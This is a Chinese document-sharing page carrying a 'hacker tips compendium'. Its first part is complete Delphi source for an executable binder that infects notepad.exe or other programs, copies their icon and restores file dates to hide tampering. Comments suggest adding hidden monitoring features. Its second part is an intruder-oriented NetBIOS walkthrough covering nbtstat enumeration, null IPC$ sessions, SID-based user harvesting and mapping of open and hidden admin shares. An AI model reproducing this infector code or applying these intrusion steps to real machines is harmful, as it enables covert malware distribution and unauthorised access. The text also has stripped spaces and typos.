黑客技巧大全.docx
- 文档编号:1633710
- 上传时间:2023-05-01
- 格式:DOCX
- 页数:26
- 大小:31.79KB
黑客技巧大全.docx
《黑客技巧大全.docx》由会员分享,可在线阅读,更多相关《黑客技巧大全.docx(26页珍藏版)》请在冰点文库上搜索。
黑客技巧大全
黑客技巧大全
一、捆绑执行文件新思维
最新功能:
与其它程序捆绑后,图标为其它程序的图标
这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存
如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上%$#@*^功能...
程序中几个数字的确定:
1在本程序编译后用Aspack.Exe压缩,大小为41472
2经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据
位于从第40752字节开始共640字节,图标后还有81字节
与其它程序捆绑的过程:
本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部
怎么找到图标的位置:
将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制
编辑软件载入,查找“999999”字符串即可。
以后你可为程序加上其它合适的图标。
十六进制编辑软件:
常用UltraEdit。
本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,对付几百K的文件没问题:
}
programexe2;
uses
classes,
Tlhelp32,
windows,
graphics,
ShellAPI,
SysUtils;
{$R*.RES}
var
lppe:
TProcessEntry32;
found:
boolean;
handle:
THandle;
ProcessStr,ExeName:
string;
WinDir:
pchar;
const
MySize=41472;{!
!
这个值要根据编译或压缩后的文件大小进行修改!
!
}
procedurecopy2(s:
string);
var
s1,s2,IcoStream:
TMemoryStream;
File2:
TFilestream;
ch:
array[0..1]ofchar;
ss:
string;
filetime,fhandle:
integer;
l:
integer;
File2Icon:
Ticon;
begin
{若文件s不存在}
ifFileExists(s)=Falsethenexit;
try
{若文件不含图标,就不捆绑}
File2Icon:
=Ticon.Create;
l:
=extracticon(handle,pchar(s),0);
ifl=0then
begin
File2Icon.Free;
exit;
end
else
begin
{提取被捆绑程序图标}
File2Icon.Handle:
=extracticon(handle,pchar(s),0);
IcoStream:
=TMemoryStream.Create;
File2Icon.SaveToStream(IcoStream);
File2Icon.Free;
end;
{判断文件s中有没有第2个程序头'MZ'。
若有,表示已经合并过}
File2:
=TFilestream.Create(s,fmopenread);
ifFile2.Size>MySizethen
begin
File2.Position:
=MySize;
File2.Read(ch,2);
ss:
=copy(ch,1,2);
ifss='MZ'then
begin
File2.Free;
exit;
end;
end;
File2.Free;
{将本文件与文件s合并本文件+s=s}
s2:
=TMemoryStream.Create;
s2.loadfromfile(ExeName);
s1:
=TMemoryStream.Create;
{
加入本程序的前部40751字节
第40752字节开始共640字节为图标数据
!
!
以下数字40751,81要根据实际情况修改!
!
}
s1.copyfrom(s2,40751);
{将图标换为被捆绑程序图标,图标大小为766}
IcoStream.Position:
=126;
s1.CopyFrom(IcoStream,640);
IcoStream.Free;
s2.Position:
=40751+640;
{加入本程序的后部81字节}
s1.CopyFrom(s2,81);
s2.clear;
s2.loadfromfile(s);
s1.seek(s1.size,soFromBeginning);
{加入被捆绑程序全部}
s1.copyfrom(s2,s2.size);
s2.free;
{得到文件s的日期}
fhandle:
=FileOpen(s,fmOpenread);
filetime:
=filegetdate(fhandle);
fileclose(fhandle);
s1.SaveToFile(s);
{恢复文件s的日期}
fhandle:
=FileOpen(s,fmOpenwrite);
filesetdate(fhandle,filetime);
fileclose(fhandle);
s1.free;
exceptend;
end;
procedureCreateFileAndRun;
var
s1,s2:
TMemoryStream;
TempDir:
pchar;
cmdstr:
string;
a:
integer;
Begin
s1:
=TMemoryStream.Create;
s1.loadfromfile(ExeName);
ifs1.Size=MySizethen
begin
s1.Free;
exit;
end;
s1.seek(MySize,soFromBeginning);
s2:
=TMemoryStream.Create;
s2.copyfrom(s1,s1.Size-MySize);
GetMem(TempDir,255);
GetTempPath(255,TempDir);
try
{
把文件释放到临时目录。
如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录,
如c:
\windows(orwinnt)\d...(☆这是个什么目录?
你去研究研究吧!
☆)
}
s2.SaveToFile(TempDir+'\'+ExtractFileName(ExeName));
exceptend;
cmdstr:
='';
a:
=1;
whileParamStr(a)<>''dobegin
cmdstr:
=cmdstr+ParamStr(a)+'';
inc(a);
end;
{运行真正的程序文件}
winexec(pchar(TempDir+'\'+ExtractFileName(ExeName)+''+cmdstr),SW_SHOW);
freemem(TempDir);
s2.free;
s1.free;
end;
begin
GetMem(WinDir,255);
GetWindowsDirectory(WinDir,255);
ExeName:
=ParamStr(0);
handle:
=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
found:
=Process32First(handle,lppe);
ProcessStr:
='';
whilefounddo
begin
ProcessStr:
=ProcessStr+lppe.szExeFile;{列出所有进程}
found:
=Process32Next(handle,lppe);
end;
{如果notepad没运行,就与它捆在一起}
ifpos(WinDir+'\notepad.exe',ProcessStr)=0then
begin
copy2(WinDir+'\notepad.exe');
end;
{其它需要捆绑的文件
ifpos(...,ProcessStr)=0then
begin
copy2(...);
end;
...
}
freemem(WinDir);
{
你想用这个程序干点其它的什么...
}
CreateFileAndRun;{释放文件并带参数运行}
end.
二、netbios渗透
netbios的漏洞一般人还没引起注意,所以我用了很多回,都成功了`
现在的QQ完美版里可以查你是不是有netbios,所以么~呵呵`
好了,言归正转:
当攻击基于NT的网络时,NetBIOS往往是首选的攻击对象。
因此,NetBIOS就成为本文中第一个要探讨的重要课题。
用NetBIOS进行信息收集相当容易,虽然要花费一点时间。
etBIOS一般被看作是开销,很大的大容量协议,速度往往很慢,这也就是要耗费时间的原因。
如果端口扫描程序报告端口139在目标机上是开放的,那么接下来就是一个很自然的过程。
第一步是发出NBTSTAT命令。
NBTSTAT命令可以用来查询涉及到NetBIOS信息的网络机器。
另外,它还可以用来消除NetBIOS高速缓存器和预加载LMHOSTS文件。
这个命令在进行安全检查时非常有用。
用法:
nbtstat[-aRemoteName][-AIP_address][-c][-n][-R][-r][-S]
[-s]
[interval]
参数-a列出为其主机名提供的远程计算机名字表。
-A列出为其IP地址提供的远程计算机名字表。
-c列出包括了IP地址的远程名字高速缓存器。
-n列出本地NetBIOS名字。
-r列出通过广播和WINS解析的名字。
-R消除和重新加载远程高速缓存器名字表。
-S列出有目的地IP地址的会话表。
-s列出会话表对话。
NBTSTAT生成的列标题具有以下含义:
Input
接收到的字节数。
Output
发出的字节数。
In/Out
无论是从计算机(出站)还是从另一个系统连接到本地计算机(入站)。
Life
在计算机消除名字表高速缓存表目前“度过”的时间。
LocalName
为连接提供的本地NetBIOS名字。
RemoteHost
远程主机的名字或IP地址。
Type
一个名字可以具备两个类型之一:
uniqueorgroup
在16个字符的NetBIOS名中,最后一个字节往往有具体含义,因为同一个名可以在同一台计算机上出现多次。
这表明该名字的最后一个字节被转换成了16进制。
State
NetBIOS连接将在下列“状态”(任何一个)中显示:
状态含义:
Accepting:
进入连接正在进行中。
Associated:
连接的端点已经建立,计算机已经与IP地址联系起来。
Connected:
这是一个好的状态!
它表明您被连接到远程资源上。
Connecting:
您的会话试着解析目的地资源的名字-IP地址映射。
Disconnected:
您的计算机请求断开,并等待远程计算机作出这样的反应。
Disconnecting:
您的连接正在结束。
Idle:
远程计算机在当前会话中已经打开,但现在没有接受连接。
Inbound:
入站会话试着连接。
Listening:
远程计算机可用。
Outbound:
您的会话正在建立TCP连接。
Reconnecting:
如果第一次连接失败,就会显示这个状态,表示试着重新连接.
下面是一台机器的NBTSTAT反应样本:
C:
\>nbtstatCAx.x.x.x
NetBIOSRemoteMachineNameTable
NameTypeStatus
---------------------------------------------
DATARAT<00>UNIQUERegistered
R9LABS<00>GROUPRegistered
DATARAT<20>UNIQUERegistered
DATARAT<03>UNIQUERegistered
GHOST<03>UNIFQUERegistered
DATARAT<01>UNIQUERegistered
MACAddress=00-00-00-00-00-00
您通过下表能掌握有关该机器的哪些知识呢?
名称编号类型的使用:
00U工作站服务
01U邮件服务
\\_M好好学习ROWSE_01G主浏览器
03U邮件服务
06URAS服务器服务
1FUNetDDE服务
20U文件服务器服务
21URAS客户机服务
22UExchangeInterchange
23UExchangeStore
24UExchangeDirectory
30U调制解调器共享服务器服务
31U调制解调器共享客户机服务
43USMS客户机远程控制
44USMS管理远程控制工具
45USMS客户机远程聊天
46USMS客户机远程传输
4CUDECPathworksTCP/IP服务
52UDECPathworksTCP/IP服务
87UExchangeMTA
6AUExchangeIMC
BEU网络监控代理
BFU网络监控应用
03U邮件服务
00G域名
1BU域主浏览器
1CG域控制器
1DU主浏览器
1EG浏览器服务选择
1CGInternet信息服务器
00UInternet信息服务器
[2B]ULotusNotes服务器
IRISMULTICAST[2F]GLotusNotes
IRISNAMESERVER[33]GLotusNotes
Forte_$ND800ZA[20]UDCAIrmalan网关服务
Unique(U):
该名字可能只有一个分配给它的IP地址。
在网络设备上,一个要注册的名字
可以出现多次,但其后缀是唯一的,从而使整个名字是唯一的。
Group(G):
一个正常的群;一个名字可以有很多个IP地址。
Multihomed(M):
该名字是唯一的,但由于在同一台计算机上有多个网络接口,
这个配置可允许注册。
这些地址的最大编号是25。
InternetGroup(I):
这是用来管理WinNT域名的组名字的特殊配置。
DomainName(D):
NT4.0提供的新内容。
网络入侵者可以通过上表和从nbtstat获得的输出信息开始收集有关您的机器的信息。
有了这些信息,网络入侵者就能在一定程度上断定有哪些服务正在目标机上运行,有时也
能断定已经安装了哪些软件包。
从传统上讲,每个服务或主要的软件包都具有一定的脆弱性,因此,这一类型的信息对网络入侵者当然有用。
第二篇,主要讲建立空连接。
===================================
第二个逻辑步骤是通过远程机收集可能的用户名。
网络登录包括两个部分:
用户名和口令。
一旦网络入侵者掌握了有效的用户列表,他就能获得一半的有效登录信息。
现在,采用了nbtstat命令,网络入侵者就能掌握从本地注册到该台机器上的任何人的登录名。
在通过nbtstat命令得到的结果中,采用<03>识别符的表目是用户名或机器名。
另外,还可以通过空IPC会话和SID工具来收集用户名(详细内容见“SID工具”,附录B)。
IPC$(进程间通信)共享是NT主机上一个标准的隐藏共享,主要用于服务器到服务器的通信。
NT主机用来互相连接并通过这个共享来获得各种必要的信息。
鉴于在各种操作系统中都有很多设计特征,网络入侵者已经懂得利用这种特征来达到他们的目的。
通过连接这个共享,网络入侵者从技术上就能够实现与您的服务器的有效连接。
通过与这个共享的空连,网络入侵者就能够在不需要提供任何身份证明的情况下建立这一连接。
要与IPC$共享进行空连接,网络入侵者就在命令提示符下发出如下命令:
c:
\>netuse\\[目标主机的IP地址]\ipc$""/user:
""
如果连接成功,网络入侵者就会有很多事情可做,不只是收集用户列表,不过他是以收集用户列表开始的。
如上所述,这个方法需要一个空IPC会话和SID工具。
由EvgeniiRudnyi编写的SID工具包括两个不同的部分:
User2sid和Sid2user。
User2sid采用一个帐户名字或群组,给您一个对应的SID。
而Sid2user采用一个SID,给您对应的用户或群组的名字。
作为一个独立的工具,这个进程是手工进行的,要消耗大量的时间。
Userlist.pl是monix编写的一个perl脚本,它将使这个SID进程自动化,从而大大缩短网络入侵者收集这些消息所花费的时间。
这时,网络入侵者就会了解到哪些服务正在远程机上运行以及已经安装了哪些主要的软件包(有限的),同时还能得到该机器上有效的用户名和群组列表。
尽管这似乎是一个外来者所要掌握的有关您的网络的信息,但是,空IPC会话已经为信息收集留下了其它隐患。
目前,Rhino9小组已经能够检索远程机的全部固有安全约束规则。
帐户封锁、最小口令长度、口令使用周期、口令唯一性设置以及每一个用户、他们所归属的群组以及该用户的个人域限制等所有信息都可以通过一个IPC空会话获得。
这个信息收集功能将在近期发布的eviathan工具(由Rhino9小组编写)中提供。
下面将对目前可用的一些工具进行探讨,这些工具可用来通过空IPC会话收集更多的信息.
现在我们对如何在这个方法中使用LMHOSTS文件进行论述。
这是一个绝妙的方法,因为它能说明如何把前面介绍的方法与这个方法结合起来使用从而达到网络入侵者的目的。
我们先从端口扫描程序开始,假设端口139是开放的,攻击者就会发出一个nbtstat命令。
然后,他会通过nbtstat结果收集远程机的NetBIOS名字。
让我们来看看得出的nbtstat结果,与前面的结果相同:
C:
\>nbtstat-Ax.x.x.x
NetBIOSRemoteMachineNameTable
NameTypeStatus
---------------------------------------------
DATARAT<00>UNIQUERegistered
R9LABS<00>GROUPRegistered
DATARAT<20>UNIQUERegistered
DATARAT<03>UNIQUERegistered
GHOST<03>UNIQUERegistered
DATARAT<01>UNIQUERegistered
MACAddress=00-00-00-00-00-00
通过检查nbtstat命令的结果,我们可以找到<03>识别符。
如果有人从本地登录到该机器上,您就会看到两个<03>识别符。
在一般情况下,第一个<03>识别符是机器的netbios名字,第二个<03>识别符是本地登录用户的名字。
这时,网络入侵者就会把这台机器的netbios名字和IP地址映射放到他本地的LMHOSTS文件中,用#PRE和#DOM标签终止表目。
#PRE标签表示应该把表目预加载到netbios高速缓存器中。
#DOM标签表示域活动。
这时,网络入侵者就会发出一个nbtstatCR命令,把表目预加载到他的高速缓存器中。
从技术角度来讲,这个预加载会使表目看起来好象已经由一些网络功能解析过,并使名字解析起来更加快捷。
下一步,网络入侵者会建立一个空IPC会话。
一旦成功地建立了空IPC会话,网络入侵者就能启用域用户管理器的本地拷贝,并在用户管理器中利用选择域功能。
接着,远程机的域就会出现(或者能够人工输入),因为它已经被预加载到高速缓存器中。
如果远程机的安全性没有保障,用户管理器就会显示远程机上所有用户的列表。
如果这是通过一个很缓慢的链接(如28.8K调制解调器)来进行的,那么在一般情况下就不会起作用。
但如果采用较快的网络连接,就会有成效。
既然网络入侵者已经收集到有关您的机器的资料,下一步就是真正渗透您的机器。
我们要探讨的第一个渗透方法是公开文件共享攻击。
网络入侵者会把前面提到的netview命令和netuse命令结合起来实现这一攻击。
我们采用前面的netview命令对网络入侵者的攻击进行论述:
C:
\>netview\\0.0.0.0
SharenameTypeUsedasComment
----------------------------------------------------------------------
---------
AcceleratorDiskAgentAcceleratorshareforSeagatebackup
InetpubDisk
mircDisk
NETLOGONDiskLogonservershare
www_pagesDisk
Thecommandcompletedsuccessfully.
一旦攻击者掌握了远程共享列表,他就会试着映射到远程共享。
这一攻击的命令结构是:
c:
\>netusex:
\\0.0.0.0\inetpub
只有当共享不设密码或分配给everyone群组时这一攻击才有效(注:
everyone群组表示每个人。
如果有人作为空用户连接,他们现在就是everyone群组的组成部分)。
如果这些参数都正确,攻击者就能把网络驱动器映射到您的机器上并开始一系列的渗透攻击。
请记住:
网络入侵者并不局限于把驱动器映射到通过netview命令显示出来的共享上。
了解NT的网络入侵者都知道NT隐藏了管理共享。
根据默认值,NT为该机器上的每一个驱动器都创建IPC$共享和一个隐藏共享(即:
一台有C、D和E驱动器的机器会有对应的C$、D$和E$的隐藏共享)。
另外,还有一个直接映射到NT安装路径的隐藏ADMIN$共享(即:
如果您把NT安装在:
\winnt目录下,ADMIN$就映射到该驱动器的确切位置)。
Rhino9小组已经注意到,大多数NT安全界人士似乎都不大重视这个从一台内部NT机渗透另一台内部NT机的概念。
在我们的专业检查过程中,Rhino9小组已经多次完成了这项任务。
问题是,如果网络入侵者是有心的并能得到对您的一台机器的访问权限,他就会悄悄地潜入其余的网络机器。
因此,这些共享攻击会造成严重的威胁
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 黑客 技巧 大全